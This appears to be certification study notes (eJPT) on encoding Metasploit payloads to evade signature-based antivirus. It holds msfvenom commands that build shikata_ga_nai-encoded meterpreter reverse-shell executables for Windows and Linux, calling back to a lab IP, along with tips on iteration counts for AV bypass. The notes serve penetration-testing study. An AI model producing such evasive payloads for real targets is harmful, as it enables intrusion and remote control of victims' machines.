# Encoding Payloads

Signature based Antivirus solutions can detect malicious files or executables. Older AV solutions can be evaded by **encoding** the payloads.

* ❗ *This kind of attack vector is outdated and hardly used today*.
* May work on legacy old O.S. like Windows 7 or older.

🗒️ Payload **Encoding** involves changing the payload shellcode *with the aim of changing the payload signature*.

* [Encoding will not always avoid detection](https://docs.rapid7.com/metasploit/encoded-payloads-bypassing-anti-virus)

🗒️ **Shellcode** is the code typically used as a *payload* for exploitation, that provides with a remote *command shell* on the target system.

```
msfvenom --list encoders
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FwzpJPvfhSa7oIZ28Ju4Y%2Fimage.png?alt=media&#x26;token=57c3988a-20eb-417f-8c49-d755b3b8cfc2" alt=""><figcaption></figcaption></figure>

* Excellent encoders are **`cmd/powershell_base64`** and **`x86/shikata_ga_nai`**

## **#Windows Payload**

* Generate a Win x86 payload and encode it with `shikata_ga_nai`:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -e x86/shikata_ga_nai -f exe > /home/kali/certs/ejpt/Windows_Payloads/encodedx86.exe
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FjZlz28yTYR7xNF8M9c31%2Fimage.png?alt=media&#x26;token=a968274b-4e9c-45f0-8a92-cd7bd2f9d4f7" alt=""><figcaption></figcaption></figure>

* The payload can be encoded as often as desired by increasing the number of iterations.
* The more iterations, the better chances to bypass an Antivirus. Use **`-i`** option.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > /home/kali/certs/ejpt/Windows_Payloads/encodedx86.exe
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FiKtNnNs9zHn369BHIOX9%2Fimage.png?alt=media&#x26;token=e15efa16-3b01-4754-9b46-1fd629a4d379" alt=""><figcaption></figcaption></figure>

## #Linux Payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > /home/kali/certs/ejpt/Linux_Payloads/encodedx86    
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2Fgs8cgcJoOYu0Paddm98I%2Fimage.png?alt=media&#x26;token=9b3077c9-fc7d-4f42-b175-4d1a341a2c74" alt=""><figcaption></figcaption></figure>
